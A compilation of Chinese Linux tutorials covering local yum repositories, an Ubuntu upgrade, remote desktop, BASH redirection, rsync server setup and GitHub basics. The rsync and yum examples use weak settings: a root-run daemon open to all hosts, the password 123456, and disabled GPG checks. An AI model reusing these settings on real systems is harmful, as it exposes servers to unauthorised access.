Skip to content Skip to main navigation Skip to footer

Linux

Linux:RedHat/CentOS利用iso镜像做本地yum源

CentOS是完全免费的,它的yum可以直接使用;而RedHat的yum则需要注册付费才能使用,如果不这样则有两种解决方案,也可以说是三种。

1. 利用iso镜像做本地yum源

2. 利用光盘做本地yum源

3. 利用Centos的在线地址做本地yum源

在这里用iso或者光盘做本地yum源的方法是差不多的,只是用光盘的话Linux系统会自动挂载,用iso镜像的或需要手动挂载,这里就说挂载iso的方法吧。

【一】用本地文件创建本地yum源

1. 创建iso存放目录和挂载目录

mkdir /mnt/iso
mkdir /mnt/cdrom

2. 将iso镜像文件上传到/mnt/iso文件夹下

3. 将/mnt/iso/下的iso文件挂载到/mnt/cdrom目录

mount -o loop /mnt/iso/XXXXX.iso /mnt/cdrom 

    <注:挂载完之后对其操作会提示设备繁忙,此时需要umount解开挂载才行>

    查看是否挂载成功: 

df -h

    <用来查看系统中所有挂载的,mount也可以>

4.<最关键的一步>如果/etc/yum.repos/下面有其它的*.repo文件,先创建个文件夹,将这些*.repo先转移到文件夹中,自己写一个.repo的文件

mkdir /etc/yum.repos.d/bak
mv *.repo /etc/yum.repos.d/bak 

 然后创建自己的.repo文件

vi myself.repo

 内容如下:

[base]
name=RedHat
#注:这里的baseurl就是你挂载的目录,在这里是/mnt/cdrom
baseurl=file:///mnt/cdrom
#注:这里的值enabled一定要为1
enabled=1
gpgckeck的值无所谓
gpgckeck=0
#注:这个你cd /mnt/cdrom/可以看到这个key,这里仅仅是个例子
gpgkey=file:///mnt/cdrom/RPM-GPG-KEY-CentOS-5                    

5. 测试:

yum clean all
yum install vim*

 【二】用CentOS的网址创建yum源

      只需要将/etc/yum.repos.d/下面的*.repo文件放在bak文件夹下,创建自己的.repo文件,如以下配置

[base]
name=RedHat
baseurl=http://mirrors.163.com/centos/6/os/$basearch/
enabled=1
gpgcheck=0
gpgkey=http://mirror.centos.org/centos/RPM-GPG-KEY-CentOS-6

      浏览器中可以访问网址:http://mirrors.163.com/centos    后面的安装你需要的CentOS的版本来配置

【其它】

      yum grouplist  显示的结果为已经安装的组包,未安装的组包,语言包等。

    在安装openmeeting的时候在RedHat6.2上就是用的CentOS 6的yum在线源,而且成功安装了Office/Productivity组包

    That’s all …

Linux:怎样从 Ubuntu 12.10 升级到 Ubuntu 13.04

  你是否已经为ubuntu升级到Ubuntu13.04做好了准备,本教程将教你如何从Ubuntu12.10升级到ubuntu 13.04。

  目前13.04仍然是beta或alpha测试阶段,所以这意味着它不是完全稳定,并且可能包含错误和问题。您可以尝试在测试机器上的升级,而不是一个正是的生产系统,或等到4月25日13.04最终被释放,然后再继续阅读本教程。

  在开始之前,请做好重要文件的备份。

  开始任何升级过程之前,建议禁用所有的第三方软件库。您可以在“系统设置” – >软件源 – >其他软件。

https://dn-linuxcn.qbox.me/data/attachment/album/201303/12/122340tteirhoioino6yq3.png

  当一切准备就绪,开始使用以下步骤:

  首先,按下Ctrl + Alt + T打开终端,运行命令来更新您的系统:

sudo apt-get update && sudo apt-get dist-upgrade

  然后按Alt+ F2组合键调出运行命令框,然后键入:

update-manager –d

https://dn-linuxcn.qbox.me/data/attachment/album/201303/12/122341458zba54z65wh322.png

  出现“软件更新”窗口。检查更新时,你会看到提示“Ubuntu13.04现在可用”。点击升级,然后再启动过程

https://dn-linuxcn.qbox.me/data/attachment/album/201303/12/1223417xjcfvgsuaj9gxvf.png

  当一切都完成后,重新启动您的计算机。

来自:http://imcn.me/html/y2013/13787.html

Linux:移动办公 如何在Ubuntu中使用远程桌面?

  有时候,由于工作的需要,我们在家里可能会或者其他地方访问我们的计算机,远程访问能够方便用户工作,对于Windows、Mac等用户来说,远程访问 再也不是什么稳定,但对于一些Linux客户来说,远程访问就成了他们的难题,本问将介绍在Ubuntu桌面启用远程桌面连接的最简单方法!

https://dn-linuxcn.qbox.me/data/attachment/album/201303/12/122849jg6j6suenul87me6.jpg

  Ubuntu是目前一款非常热门的Linux操作系统,很多用户都选择这款页面华丽、操作简单的操作系统作为自己的私人操作系统,但当我们想进行远程控制的时候,可能对于一些初学者来说是一个不小的挑战,接下来我们来具体看一下在Ubuntu桌面是如何启动远程桌面连接的?

  1.首先我们需要找到启动远程桌面的程序,我们在软件中心搜索“remote desktop”,会出现如下图的页面。

https://dn-linuxcn.qbox.me/data/attachment/album/201303/12/122849mlar20ccc44c3szn.png

查找程序

  2.点击第一个程序,我们就会自动进入如下图显示的页面。

https://dn-linuxcn.qbox.me/data/attachment/album/201303/12/1228498fsn47nby4l87uu8.png

设置权限

  从图中最上排的说明我们可以看到两个选中的选项:(1)允许其他用户查看您的桌面;(2)允许其他用户控制您的桌面。这两个选项我们是必须要选的,这样才能使我们在远方能够控制和操作Ubuntu系统。

  在安全设置方面,我们最好对要求登入的客户设定密码,这样能提供系统的安全性。

  设置完成后,客户就可以从远程登录并访问控制Ubuntu操作系统的俩,当然要知道登录的IP地址和密码才能访问。

  如果你想测试,如果一切正常,打开一个终端,输入以下内容:vncviewer -fullscreen IP:0

 https://dn-linuxcn.qbox.me/data/attachment/album/201303/12/122849yzm6p6sahww5ncy0.png

启动

  当然你还可以通过远程浏览器的rdesktop,启动桌面查看器。

https://dn-linuxcn.qbox.me/data/attachment/album/201303/12/12284922l82llutslgzgsf.png

启动桌面连接

  文章总结:整个启动远程桌面连接的设置就完成了,并不麻烦,使用Ubuntu且经常需要在外面登录的用户可以常识下试试,是一个非常简单而且方便的功能,能够帮助我们更好的工作、学习、生活。

Linux:命令行是你的至交好友

  命令行既可以成为你的至交好友,又可能成为你最大的敌人。它关键取决于你怎样用它,以及用它来做什么。如果你还是像大部分人一样畏惧使用命令行界面,那么这篇文章定会让你受益匪浅。

命令行界面?

  是的,它是在黑色屏幕上的白色(或者绿色)的显 示区域,是神秘的文字流和奇怪的命令执行的地方。我知道很多大师级的程序员从来不使用命令行界面;然而,我也知道一些初级用户用命令行来做所有的事而不是 用图形界面。他们控制应用程序去浏览网页和文件系统,查收邮件,查看图片和编辑文字。他们甚至看youtyube视频和查看PDF文件都不使用图形界面!

  最好的工作流程是取决于个人的。有些人倾向于图形界面,其他人则钟爱于命令行。

术语

  刚刚接触Unix或者Linux的人在面对诸如终端,控制台和shell时是比较困惑的。

  从用户的角度来看,它们之间似乎是没有太大区别的,但事实上,用户是使用控制台来连接终端来查看运行在计算机上的脚本。

  在过去的时候,这三者是独立的硬件。控制台无非是一个显示器和一个键盘;它没有计算能力。它通过一个串行接口去连接终端,应用最广泛的是RS-232接口。

  终端就像大型主机的界面。它一般具有计算、网络通信或进行其他特殊连接,如与大型主机连接的能力。终端也提供了对系统的管理者权限,这也是它为什么总是被 关在小黑屋的原因。被雇用者使用连接到这些终端的控制台进行工作,但是却无法获得大型主机的管理者权限。控制台与终端最终合并为一个单独的设备,最好的例 子的就是现代linux发行版中仿真的虚拟机终端。

  shell就是一个可以读取用户输入,然后在屏幕输出结果的程序。一个shell可以是基于字符的(像CLI),或者是基于图形的(像Windows的 GUI)。今天,shell已经不仅仅是用户与系统的接口,他还肩负着管理进程,窗口,应用程序,命令,以及系统的其他方面。

  shell解释执行命令行中输入的命令,用户也可以将命令组合起来写成一个脚本。现代的shell拥有自己的脚本语言,这提供了执行复杂任务的能力。

  大多数现代的Linux发行版,如同Mac OSX一样,使用一个shell,BASH(译注:默认的,想用什么自己换)。Solaris和OpenIndiana默认使用Korn Shell,一个BASH的变种。请注意这篇指南主要讲的是BASH。

让我们说说 BASH

  BASH 代表 Bourne Again Shell。它被作为 Bourne Shell 的新版本于1989年发布,之后成为了 Unix 系统的默认 shell。它由斯蒂芬·伯恩(Stephen Bourne)编写,用以取代 Thompson Shell。老版的 Bourne Shell 至今仍工作在一些 Unix 系统中。通常你可以用 /bin/sh 找到它。总之,尽管 Bourne Shell 在新的 Linux 发行版中 已经为 BASH 取代,/bin/sh 和 /bin/bash 都能被 BASH 运行。

BASH的提示符

  你永远都会碰到BASH的提示符。它是一个贯穿BASH及其历史的东西。如果篇幅允许,我们可以用所有篇幅讲讲如何按自己的希望配置BASH的提示符。但是,我们只会在这个指南中提到一些基本的东西。

csaba@csaba-pc ~/Personal/Programming/NetTuts$

  我的BASH提示符就像上面那个样子。 第一个词csaba是我的用户名,后接@和我的主机名称,最后是当前的文件夹。~这个字符代表了用户文件夹,对于我来说是/home/csaba。整行以$结尾,在$后面输入的东西是我想shell执行的命令。

  当然,这仅仅是一个简单的例子。你可以放更多的东西进提示符中。来看看更多的例子吧。

  PS1,PS2,PS3和PS4是BASH的特殊变量,它们控制着不同类型的提示符(例如PS2是一般使用于命令行里较长命令的换行提示信息)。我们在这篇指南中只用到PS1。你可以用下面的命令查看你的PS1变量。

csaba@csaba-pc ~/Personal/Programming/NetTuts $ echo $PS1 \[\033[01;32m\]\u@\h\[\033[01;34m\] \w \$\[\033[00m\]

  输入命令echo $PS1,然后你就看见了我的PS1变量。在BASH中,我们将$到变量名称前就可以得到这个变量的内容。这个echo命令仅仅会输出它接到的参数。我们给echo的参数是变量的值,所以它会输出这个变量的值。

  输出代表着一种格式。\[\033[01;32m\]表示绿色,\u表示当前用户的用户名。\h表示主机名,\[\033[01;34m\]表示蓝色,\w是当前目录,\[\033[00m\]是将文字后续输入的文字置为高亮灰色。通过下面的屏幕截图你能够更好地理解结果。

  以“\”开头的特殊字符具有特别的意义。反之“\”标识后面的字符是一个转义字符(比如颜色代码)。下面的内容是从BASH官方手册中引用的,你可以在BASH命令中使用的特殊字符的完整列表:

  • \a- ASCII响铃字符(07)
  • \d– 以“Weekday Month Date”格式显示日期
  • \D{format}– format被传递给strftime(3)并把相应的结果插入到提示字符串中; 如果format为空则代表本地时间. 必须有在括号
  • \e– ASCII转义字符(033)
  • \h– 到第一个 `.’前代表主机名称
  • \H– 主机名称
  • \j– 当前被Shell管理工作数
  • \l– Shell终端设置名称的基本名
  • \n– 新行
  • \r– 回车
  • \s– Shell的名称
  • \T– 12小时制当前时间,格式为 HH:MM:SS
  • \t– 24小时制当前时间,格式为 HH:MM:SS
  • \@– 12小时制当前时间,格式为am/pm
  • \A– 24小时制当前时间,格式为 HH:MM
  • \u– 当前用户的名称
  • \v– BASH版本
  • \V– BASH发行备注,版本号+补丁
  • \w– 当前工作目录,其中$HOME被缩写成”~”(使用PROMPT_DIRTRIM的值)
  • \W– 当前工作目录的basename,$HOME被缩写成”~”
  • \!– 命令的使用次数
  • \#– 命令号
  • \$– 命令提示符,如果UID是0则显示为#,否则为$
  • \nnn– 8进制数据nnn代表的字符
  • \\– 反斜杠
  • \[- 开始一个非打印字符序列,这个序列可以嵌入一个终端控制序列到提示中
  • \]– 非打印字符序列结束

操作目录和文件

  在命令行环境中,每个人都要做的一件事就是操作文件系统,创建,删除,复制和移动文件系统对象,并且执行命令。这对你来说可能已经是家常便饭,然而,还是让我们来看一眼:

csaba@csaba-pc ~ $ mkdir ~/tmp/NetTuts csaba@csaba-pc ~ $ cd ~/tmp/NetTuts/ csaba@csaba-pc ~/tmp/NetTuts $ mkdir ./AnotherDir csaba@csaba-pc ~/tmp/NetTuts $ mkdir ./SecondDir csaba@csaba-pc ~/tmp/NetTuts $ touch ./SecondDir/aFile csaba@csaba-pc ~/tmp/NetTuts $ touch ./SecondDir/AnotherFile csaba@csaba-pc ~/tmp/NetTuts $ cd ./SecondDir/ csaba@csaba-pc ~/tmp/NetTuts/SecondDir $ pushd ~/tmp/NetTuts ~/tmp/NetTuts ~/tmp/NetTuts/SecondDir csaba@csaba-pc ~/tmp/NetTuts $ ls -al total 16 drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 . drwx—— 7 csaba csaba 4096 Feb 19 21:09 .. drwxr-xr-x 2 csaba csaba 4096 Feb 19 21:09 AnotherDir drwxr-xr-x 2 csaba csaba 4096 Feb 19 21:09 SecondDir csaba@csaba-pc ~/tmp/NetTuts $ popd ~/tmp/NetTuts/SecondDir csaba@csaba-pc ~/tmp/NetTuts/SecondDir $ ls -al total 8 drwxr-xr-x 2 csaba csaba 4096 Feb 19 21:09 . drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 .. -rw-r–r– 1 csaba csaba    0 Feb 19 21:09 aFile -rw-r–r– 1 csaba csaba    0 Feb 19 21:09 AnotherFile csaba@csaba-pc ~/tmp/NetTuts/SecondDir $

逐句解释:

  1. 在/home/csaba/tmp下创建一个名为NetTuts的目录
  2. 将刚刚创建的目录切换为当前目录
  3. 在当前目录下创建一个名为“AnotherDir”的目录
  4. 在当前目录下创建一个名为“SecondDir”的目录
  5. 使用touch命令在“SecondDir”目录下创建两个空文件
  6. 切换当前目录到SecondDir.
  7. 使用pushd命令切换目录到~/tmp/NetTuts来把当前目录存储到堆栈之中
  8. 列出目录~/tmp/NetTuts下的所有文件
  9. 使用popd命令来返回前一个目录,这样会从堆栈中获取并且移除最顶层的目录
  10. 再一次列出内容会看到我们上几步所创建的两个文件

  当然,对于命令行你们可以有个万能文件管理器,称之为Midnight Commander。要开始用的时候只需要执行它的命令就行。它也内置了文本编辑器(高亮代码的那段)适合大部分语言,而且有智能缩进和其他的一些特性。 它不完全是一个被夸大的编辑器,事实上,它是一个相当简单的工具,特别适合简单和快速编辑。你可以随意的选择任何文件然后按F4,或者你可以在编辑模式下 直接打开一个文件。

csaba@csaba-pc ~/tmp/NetTuts/SecondDir $ mcedit ./aFile

输入/输出

  每个命令必须和命令行环境交互。命令需要输入和提供输出。

  标准输入是命令读取信息的来源。键盘是默认标准输入,标准输入经常被称为“stdin”。

  标准输出是命令的输出会被发送到的地方。默认是当前控制台,标准输出通常被称为“stdout”。

  标准错误是命令输出错误的地方。默认当前控制台,常被称为”stderr”。

  到目前为止,我们可以定义简单的状态,来表示一个命令从键盘上读取并输出它的结果(包括好的和坏的)到屏幕上.

在Unix(或类unix系统)中, 所有的东西都会被抽象成文件,你的键盘是文件,你的鼠标是文件,你的屏幕是文件,程序是文件, 文本是文件,等等

  文件描述符是一个整形数字用于操作系统引用打开的文件, 所有的unix系统至少包含三个文件描述符.

  • 描述符 no. 0 – 标准输入
  • 描述符 no. 1 – 标准输出
  • 描述符 no. 2 – 标准错误输出

重定向

  Unix系统有一个非常强大的特性:因为所有资源都是文件,你可以将所有资源引用和将其从一个位置重定向到另一个位置。重定向的操作符表示标准输出(stdout)。所以,如果你需要一个命令从键盘中读取信息,你可以进行如下操作:

$ someCommand <

  但当要你的命令从一个文件中读取内容你要怎么做呢?你只要重定向这个文件到它的标准输入(stdin),如下:

$ someCommand < /your/file.txt

  如果你要你的命令执行结果输出到一个文件,你可以使用>操作符。例如我们已经知道如何将一个目录中的文件列出:

csaba@csaba-pc ~/tmp/NetTuts/SecondDir $ ls -al total 8 drwxr-xr-x 2 csaba csaba 4096 Feb 19 21:09 . drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 .. -rw-r–r– 1 csaba csaba    0 Feb 19 21:09 aFile -rw-r–r– 1 csaba csaba    0 Feb 19 21:09 AnotherFile csaba@csaba-pc ~/tmp/NetTuts/SecondDir $

  你可以把使用如下命令将结果发送到一个文件:

csaba@csaba-pc ~/tmp/NetTuts/SecondDir $ ls -al > ./ThirdFile

  ThirdFile的内容如下:

total 12 drwxr-xr-x 2 csaba csaba 4096 Feb 24 00:06 . drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 .. -rw-r–r– 1 csaba csaba   12 Feb 19 21:19 aFile -rw-r–r– 1 csaba csaba    0 Feb 19 21:09 AnotherFile -rw-r–r– 1 csaba csaba    0 Feb 24 00:06 ThirdFile

  比方说,我们要导航到上级目录,列出它所有的文件,并且使用一个命令将这个列表添加至一个已经存在的文件中。操作符>重定向输出到一个文件并且覆盖该文件;所以我们不能使用它。不过,我们可以使用>>(两个>)来添加新数据到一个已经存在的文件。

csaba@csaba-pc ~/tmp/NetTuts/SecondDir $ cd .. csaba@csaba-pc ~/tmp/NetTuts $ ls -al total 16 drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 . drwx—— 7 csaba csaba 4096 Feb 19 21:09 .. drwxr-xr-x 2 csaba csaba 4096 Feb 19 21:09 AnotherDir drwxr-xr-x 2 csaba csaba 4096 Feb 24 00:06 SecondDir csaba@csaba-pc ~/tmp/NetTuts $ ls -al >> ./SecondDir/ThirdFile

  于是我们的文件内容就是这样了:

total 12 drwxr-xr-x 2 csaba csaba 4096 Feb 24 00:06 . drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 .. -rw-r–r– 1 csaba csaba   12 Feb 19 21:19 aFile -rw-r–r– 1 csaba csaba    0 Feb 19 21:09 AnotherFile -rw-r–r– 1 csaba csaba    0 Feb 24 00:06 ThirdFile total 16 drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 . drwx—— 7 csaba csaba 4096 Feb 19 21:09 .. drwxr-xr-x 2 csaba csaba 4096 Feb 19 21:09 AnotherDir drwxr-xr-x 2 csaba csaba 4096 Feb 24 00:06 SecondDir

输入/输出重定向

  我们可以综合我们的知识,以不同的方向重定向标准错误(stderr),标准输入(stdin)和标准输出(stdout)。实际上,以下的命令功能相同:

csaba@csaba-pc ~/tmp/NetTuts $ ls -al > ./SecondDir/ThirdFile csaba@csaba-pc ~/tmp/NetTuts $ ls -al 1> ./SecondDir/ThirdFile

  在第二个命令中,在重定向之前我们指定标准输出的来源。请注意1与>之间没有空格。实际上,如果两者之间有空格,则1会作为ls命令的一个参数,并且>会自动重定向标准输出。以下两个表达功能相同,但和上面的那个功能不同。

csaba@csaba-pc ~/tmp/NetTuts $ ls -al 1 > ./SecondDir/ThirdFile csaba@csaba-pc ~/tmp/NetTuts $ ls -al 1 1> ./SecondDir/ThirdFile

  当然,这些结果会出错:”ls:不能访问1:没有那个文件或目录” ——除非你真的有一个名字为1的目录。这会让我们惊讶下一步我们得到的:重定向错误。

csaba@csaba-pc ~/tmp/NetTuts $ ls -al inexistenFilder > ./SecondDir/ThirdFile ls: cannot access inexistenFilder: No such file or directory csaba@csaba-pc ~/tmp/NetTuts $ ls -al inexistenFilder 2> ./SecondDir/ThirdFile

  如你所见,第一个命令在控制台输出标准输出并重定向标准输出到一个文件。第一个命令的结果是一个空文件和屏幕上的一条信息。然而,第二条命令重定向错误到我们的文件。其结果是如果在标准输出上有任何输出,则它们会显示在屏幕上,并且错误信息会输入到这个文件。

一个实际的I/0重导例子

  当你需要在命令行寻找一些文件时,你基本上只有两个选择。第一个就是选择用本地命令。这些命令常常是伴随着安装各种Linux版本而已经安装好的,当然不 是每一个版本都安装了。更新文件数据库命令索引你的文件和定位,然后使用那个数据库去发现你的文件。实际上他不是做一个实时的搜索,它只是简单的在数据库 做索引。这就是为什么这个应用程序常常定期的做每日更新文件数据库。

  我们来用这个命令演示一个实时搜索,它比本地命令搜索的更精确,但是很显然更慢一些。现在让我们用这个命令来演示一段:

csaba@csaba-pc ~/tmp/NetTuts $ ls -al total 16 drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 . drwx—— 7 csaba csaba 4096 Feb 19 21:09 .. drwxr-xr-x 2 csaba csaba 4096 Feb 19 21:09 AnotherDir drwxr-xr-x 2 csaba csaba 4096 Feb 24 00:06 SecondDir csaba@csaba-pc ~/tmp/NetTuts $ ls -al ./SecondDir/ total 16 drwxr-xr-x 2 csaba csaba 4096 Feb 24 00:06 . drwxr-xr-x 4 csaba csaba 4096 Feb 19 21:09 .. -rw-r–r– 1 csaba csaba   12 Feb 19 21:19 aFile -rw-r–r– 1 csaba csaba    0 Feb 19 21:09 AnotherFile -rw-r–r– 1 csaba csaba   61 Feb 24 00:23 ThirdFile csaba@csaba-pc ~/tmp/NetTuts $ find . -name ThirdFile ./SecondDir/ThirdFile

  我打印这两个ls命令是为了让你很方便的看明白目录结构,第三个是find命令。它有着复杂的参数系统,在此我就不一一列举了,但是以上的例子展示了find命令最常见的使用。第一个参数.是一个我们想去搜索的目录。

  小贴士:参考当前目录……参考上目录

  find命令的第二个参数是-name,紧接着是文件的名字。在-name参数中我们可以用?和*来扩大我们的搜索范围:

csaba@csaba-pc ~/tmp/NetTuts $ find . -name ?File ./SecondDir/aFile csaba@csaba-pc ~/tmp/NetTuts $ find . -name *File ./SecondDir/aFile ./SecondDir/AnotherFile ./SecondDir/ThirdFile

  ?代表一个单个字母,而*指的是任意的字母数量。

  接下来,我们将创建一个目录同时使它被我们的用户所不能读。我们还没有讲解到权限,但是不用着急,很快我们将涉及那部分。现在试试下面的例子:

csaba@csaba-pc ~/tmp/NetTuts $ mkdir ThirdDir csaba@csaba-pc ~/tmp/NetTuts $ chmod 000 ThirdDir csaba@csaba-pc ~/tmp/NetTuts $ find . -name *File ./SecondDir/aFile ./SecondDir/AnotherFile ./SecondDir/ThirdFile find: `./ThirdDir’: Permission denied

  在这个例子中,我希望你对这目录没有权限以便我可以展示一下find输出的内容。它试着进入到所有的目录中然后搜索所有匹配的文件。当它不能进入一个目 录,它会输出一条信息。当你看到一两条这样的信息提示是很正常的哈,但是作为一个普通用户去试着搜索root目录下面的文件时。你将会获取数百条错误信息 提示而且可能只有一两条搜索结果。你不想错过搜索结果;于是乎你想要除去错误的信息提示。

csaba@csaba-pc ~/tmp/NetTuts $ find . -name *File 2> /dev/null ./SecondDir/aFile ./SecondDir/AnotherFile ./SecondDir/ThirdFile

  我们重定向标准错误输出到/dev/null里面。这样做再好不过了。无论你向/dev/null扔进去什么东西,它都可以很简单的使他消失。通常的做法 是当你不想看见这些错误提示信息,你可以把信息发到那里。假如你更喜欢把结果存入一个文件中的话,你可以把错误提示信息传送到/dev/null,然后可 以用多道重定向:

csaba@csaba-pc ~/tmp/NetTuts $ find . -name *File 2> /dev/null 1>./SecondDir/ThirdFile csaba@csaba-pc ~/tmp/NetTuts $

  正如你看见的,这个命令在屏幕上面什么也没有输出,因为错误信息和标准输出被传送到了不同的文件中。但是如果我们想在同一个文件中看到两种信息的输出,怎么办呢?没问题,你可以把标准错误输出传送到标准输出然后把标准输出传送到文件中:

find . -name *File 1>./SecondDir/ThirdFile 2>&1

  重定向被解释执行是从右到左的。首先开始执行的是 2>&1,这里的意思是重定向标准错误输出到标准输出。然后是1>./SecondDir/ThirdFile,这里的意思是重定向标准输出(此时已经有错误信息在文件里面了)到指定的文件。

Linux:Linux 下架设 rsync 服务器

  rsync 是一个Unix系统下的文件同步和传输工具。rsync是用 “rsync 算法”提供了一个客户机和远程文件服务器的文件同步的快速方法。

rsync 包括如下的一些特性:

  • * can update whole directory trees and filesystems 能更新整个目录和树和文件系统;
  • * optionally preserves symbolic links, hard links, file ownership, permissions, devices and times 有选择性的保持符号链链、硬链接、文件属于、权限、设备以及时间等;
  • * requires no special privileges to install 对于安装来说,无任何特殊权限要求;
  • * internal pipelining reduces latency for multiple files 对于多个文件来说,内部流水线减少文件等待的延时;
  • * can use rsh, ssh or direct sockets as the transport 能用rsh、ssh 或直接端口做为传输入端口;
  • * supports anonymous rsync which is ideal for mirroring 支持匿名rsync 同步文件,是理想的镜像工具;

安装配置过程:

一、建相应的文件及文件夹

[root@estals60:~]#mkdir /etc/rsyncd  --在/etc目录下创建一个rsyncd的目录,我们用来存放rsyncd.conf 和rsyncd.secrets文件;
[root@estals60:~]#touch /etc/rsyncd/rsyncd.conf  --创建rsyncd.conf ,这是rsync服务器的配置文件;
[root@estals60:~]#touch /etc/rsyncd/rsyncd.secrets --创建rsyncd.secrets ,这是用户密码文件;
[root@estals60:~]#chmod 600 /etc/rsyncd/rsyncd.secrets  --为了密码的安全性,我们把权限设为600;
[root@estals60:~]#ls -lh /etc/rsyncd/rsyncd.secrets
-rw------- 1 root root 14 2007-07-15 10:21 /etc/rsyncd/rsyncd.secrets
[root@estals60:~]#touch /etc/rsyncd/rsyncd.motd

  二、修改 rsyncd.conf 和rsyncd.secrets 和rsyncd.motd

rsyncd.conf 是rsync服务器主要配置文件,我们来个简单的示例;

比如我们要备份服务器上的 /nsn_talko_production/talko/var/www/html/Talko/talko.next/repository/

# Minimal configuration file for rsync daemon
# See rsync(1) and rsyncd.conf(5) man pages for help
# This line is required by the /etc/init.d/rsyncd script
pid file = /var/run/rsyncd.pid
port = 873
address = estals60
#uid = nobody
#gid = nobody
uid = root
gid = root
use chroot = yes
read only = yes
#limit access to private LANs
hosts allow=* #192.168.1.0/255.255.255.0 10.0.1.0/255.255.255.0
#hosts deny=*
max connections = 5
motd file = /etc/rsyncd/rsyncd.motd
#This will give you a separate log file
#log file = /var/log/rsync.log
#This will log every file transferred - up to 85,000+ per user, per sync
#transfer logging = yes
log format = %t %a %m %f %b
syslog facility = local3
timeout = 300
[P_repositor]
path = /nsn_talko_production/talko/var/www/html/Talko/talko.next/repository/
list=yes      --list 意思是把rsync 服务器上提供同步数据的目录在服务器上模块是否显示列出来。默认是yes 。如果你不想列出来,就no ;如果是no是比较安全的,至少别人不知道你的服务器上提供了哪些目录。你自己知道就行了
ignore errors                               --忽略IO错误
auth users = root                           --用户账号 (这个必须得是系统中已经存在的账号)
secrets file = /etc/rsyncd/rsyncd.secrets   --存放密码的地方
comment = P_repositor          --相当于是一种接口名字,等服务跑起来了客户端可以直接用这名字调用相关服务器的文件夹内容信息
#exclude =   beinan/  samba/    --无视这两个文件夹的内容

rsyncd.secrets的内容如下类似

root:123456 yofee:123456

rsyncd.motd 文件

  它是定义rysnc 服务器信息的,也就是用户登录信息。比如让用户知道这个服务器是谁提供的等。

+++++++++++++++++++++++++++
+ Yofee Packages rsync    +
+++++++++++++++++++++++++++

三、启动rsync服务器

[root@estals60:~]#/usr/bin/rsync –daemon  –config=/etc/rsyncd/rsyncd.conf

四、防火墙的设置

[root@estals60:~]#iptables -A INPUT -p tcp -m state –state NEW  -m tcp –dport 873 -j ACCEPT [root@estals60:~]#iptables -L  查看一下防火墙是不是打开了 873端口;

五、执行同步命令

rsync -avzP root@estals60::P_repositor /nsn_talko/talko/var/www/html/Talko/talko.next/

这时会要求输入root的密码,然后就没啥问题了。

另外其实也可以考虑把他建在系统任务里面定时运行。道理都是一样的,用crontab,这里就不再重述了。

######################
uid = nobody
gid = nobody
use chroot = no
read only = false
max connections = 5
port = 873
motd file = /etc/rsyncd/rsyncd.motd
pid file = /tmp/rsyncd.pid
lock file = /tmp/rsync.lock
log format = %t %a %m %f %b
log file = /tmp/rsyncd.log
timeout = 300
[update]
path = /data/autoupdate/
ignore errors = yes
list = false
comment = update
secrets file = /etc/rsyncd/rsyncd.secrets
hosts allow = *
#hosts deny = 0.0.0.0/32
###########################################

来自:http://wangwei007.blog.51cto.com/68019/1157898

Linux:两分钟学会在 GitHub 托管代码

  本篇博客针对不会Git的小童鞋,大神们可以绕过,错误之处谢谢指正;

  关于GitHub的强大此处不在说明,知道GitHub也有一段时间了,但是一直苦于不会使用。

  本篇文章介绍的是如何将工程代码托管到上面;如果你还没注册GitHub账号请到https://github.com/上注册

  如果你已经注册GitHub账号,在你的电脑上安装了GitHub,而一直还没上传过代码

1.打开浏览器登陆你的GitHub账号,Creat a new repo 如图:

点击查看原始大图

2.然后跳转下一个页面,填写repository name,如:TEST,在Add .gitgore一项根据你所使用语言选择,其他的默认,然后creat repository

点击查看原始大图

然后GitHub自动给你生成关于托管你本工程的简单命令行,HTTP 、SSH后面的连接为你创建的远程仓库地址

点击查看原始大图

3.打开xcode创建一个工程,比如我创建的工程名TESTDemo,然后打开终端,进入TESTDemo文件夹,输入Creat a new repository on the command line提示的命令

点击查看原始大图

工程代码已经托管完毕;

当在终端上输入git push -u origin master的时候,会出来Username: 和Password这个表示你的GitHub账号和密码,我们再输入账号和密码一直显示为空白,这是防止用户隐私泄露而不显示任何信息,不是电脑电脑假死现象

4.然后在就可以在你的GitHub账号的Repositories中找到你刚刚在终端上替交的TESTDemo代码工程:如图

点击查看原始大图

打开TEST,https://github.com/XFZLDXF/TEST.git  就是代码工程的链接,通过该连接就可以把这个工程里面内容克隆到本地

点击查看原始大图

解释下输入的命令:

  1. touch README.md文件是关于工程代码的介绍,类似与使用说明书
  2. git init  初始化一个本地的 git仓库,生成隐藏的.git目录(隐藏的.git目录可使用ls -aF命令可以查看到)
  3. git add  README.md  把README.md文件添加到仓库中
  4. git commit -m “first commit”  执行提交说明,在Gitz中这个属于强制性的
  5. git remote add origin https://github.com/XFZLDXF/TEST.git   添加本地仓库origin和指定远程仓库地址
  6. git push origin master  推送本地仓库到远程指定的master分支上

来自:http://www.php100.com/html/itnews/it/2013/0313/12194.html

Linux:为什么我们使用 Nginx 而不是 Apache

  我们大多数的客户在他们的服务器上使用Apache作为Web服务器,尤其是部署在一个基于PHP系统的前端并且使用mod-PHP。鉴于扩张性和性能方面的原因,我们通常会建议他们改用Nginx和FPM。

https://dn-linuxcn.qbox.me/data/attachment/album/201303/24/160019nbnlkqb0n0ll0ekm.png

  Apache是非常强大的Web服务器,模块化结构,也是Web服务端的鼻祖。除了捆绑一些其他的工具外,Apache已经成为了世上最广泛部署的开源系统,直到最近,世界上大多数网站仍运行着Apache系统。

但是,Apache并不是完美的,并且不再适合大规模系统。为什么?因为他的进程模式虽然简单而灵活,但并不适合大规模尤其是当要处理像PHP这种需要占用大量内存应用程序代码时。

  一个典型的网络应用服务器由两部分组成。客户端连接部分负责用户浏览器与HTTP连接,保持长时间的TCP/IP协议,通常是1到2分钟。对于一个大型的系统,服务器可能要同时承担和处理数以万计的并发连接。

  这直接与Apache只有500条进程即500个HTTP连接的处理能力上限相冲突。而现今的浏览器让这个问题更加严重, 因为现在的浏览器平均每个主机会打开六个网站链接(几年前是两个网站链接)。所以当超过100个用户同时访问时,Apache就已经满负荷了。

